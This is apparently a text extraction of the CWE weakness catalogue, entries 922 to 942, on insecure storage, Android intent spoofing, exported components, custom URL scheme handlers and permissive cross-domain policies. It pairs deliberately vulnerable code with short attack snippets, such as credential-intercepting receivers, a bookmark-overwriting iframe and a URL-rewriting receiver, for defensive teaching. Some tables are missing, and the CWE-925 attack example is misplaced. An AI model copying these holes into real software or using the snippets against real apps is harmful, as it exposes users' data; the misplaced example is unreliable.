The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-922: Insecure Storage of Sensitive Information

Weakness ID : 922 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Integrity	Modify Application Data Modify Files or Directories *Attackers can read sensitive information by accessing the unrestricted storage mechanism.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Maintenance

This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID : 923 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Weakness ID : 924 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description

Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID : 925 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Alternate Terms

Intent Spoofing :

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity *Another application can impersonate the operating system and cause the software to perform an unintended action.*	

Potential Mitigations

Phase: Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: XML *(bad)*

```
<manifest package="com.example.vulnerableApplication">
   <application>
   ...
      <receiver android:name=".ShutdownReceiver">
         <intent-filter>
            <action android:name="android.intent.action.ACTION_SHUTDOWN" />
         </intent-filter>
      </receiver>
   ...
   </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
   @Override
   public void onReceive(final Context context, final Intent intent) {
      mainActivity.saveLocalData();
      mainActivity.stopActivity();
   }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Example Language: Java *(attack)*

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
499	Intent Intercept

CWE-926: Improper Export of Android Application Components

Weakness ID : 926 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

- If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.
- If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.
- If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Background Details

There are three types of components that can be exported in an Android application.

Activity

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

Service

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

Content Provider

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can launch the Activity.*	
Availability Integrity	Unexpected State Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart DoS: Instability Varies by Context *Other applications, possibly untrusted, can bind to the Service.*	
Confidentiality Integrity	Read Application Data Modify Application Data *Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.*	

Potential Mitigations

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

Phase: Build and Compilation

Strategy = Attack Surface Reduction

If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Limit Content Provider permissions (read/write) as appropriate.

Phase: Build and Compilation

Phase: Architecture and Design

Strategy = Separation of Privilege

Limit Content Provider permissions (read/write) as appropriate.

Demonstrative Examples

Example 1:

This application is exporting an activity and a service in its manifest.xml:

Example Language: XML *(bad)*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
   ...
   <intent-filter>
      <action android:name="com.example.vulnerableApp.OPEN_UI" />
      <category android:name="android.intent.category.DEFAULT" />
   </intent-filter>
```

```
    ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
    ...
    <intent-filter>
        <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
    </intent-filter>
    ...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:

This application has created a content provider to enable custom search suggestions within the application:

Example Language: XML *(bad)*

```
<provider>
    android:name="com.example.vulnerableApp.searchDB"
    android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

[REF-923]Android Open Source Project. "Security Tips". 2013 July 6. < http://developer.android.com/training/articles/security-tips.html#ContentProviders >.

CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID : 927 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances

of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Other applications, possibly untrusted, can read the data that is offered through the Intent.*	
Integrity	Varies by Context *The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.*	

Potential Mitigations

Phase: Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

Demonstrative Examples

Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Example Language: Java *(attack)*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Example Language: Java *(attack)*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Example Language: Java *(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Example Language: Java *(bad)*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Example Language: Java *(attack)*

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID : 939 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf		862	Missing Authorization	1567

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Potential Mitigations

Phase: Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

Example Language: Objective-C *(good)*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Example Language: *(bad)*

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]) {
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
    }
    return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

Example Language: HTML *(attack)*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

Example 2:

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2013-5725	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5725*
CVE-2013-5726	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions.

CWE-940: Improper Verification of Source of a Communication Channel

Weakness ID : 940 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1604

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Gain Privileges or Assume Identity Varies by Context *An attacker can access any functionality that is inadvertently accessible to the source.*	

Potential Mitigations

Phase: Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a MITM attack. When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Example Language: Java *(bad)*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
```

```
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1218*
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0877*
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1452*

Notes

Relationship

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID : 941 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

- If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
- If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
CanPrecede	C	406	Insufficient Control of Network Message Volume (Network Amplification)	884

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
```

```
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211*
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379*

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

CWE-942: Permissive Cross-domain Policy with Untrusted Domains

Weakness ID : 942 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are

vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	183	Permissive List of Allowed Inputs	424
ChildOf	P	284	Improper Access Control	619
CanPrecede		668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Varies by Context *An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Demonstrative Examples

Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Example Language: XML *(bad)*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

Example Language: XML *(bad)*

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Observed Examples

Reference	Description
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2292*
CVE-2014-2049	The default Flash Cross Domain policies in a product allows remote attackers to access user files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2049*
CVE-2007-6243	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243
CVE-2008-4822	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4822*
CVE-2010-3636	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3636*

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID : 943 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

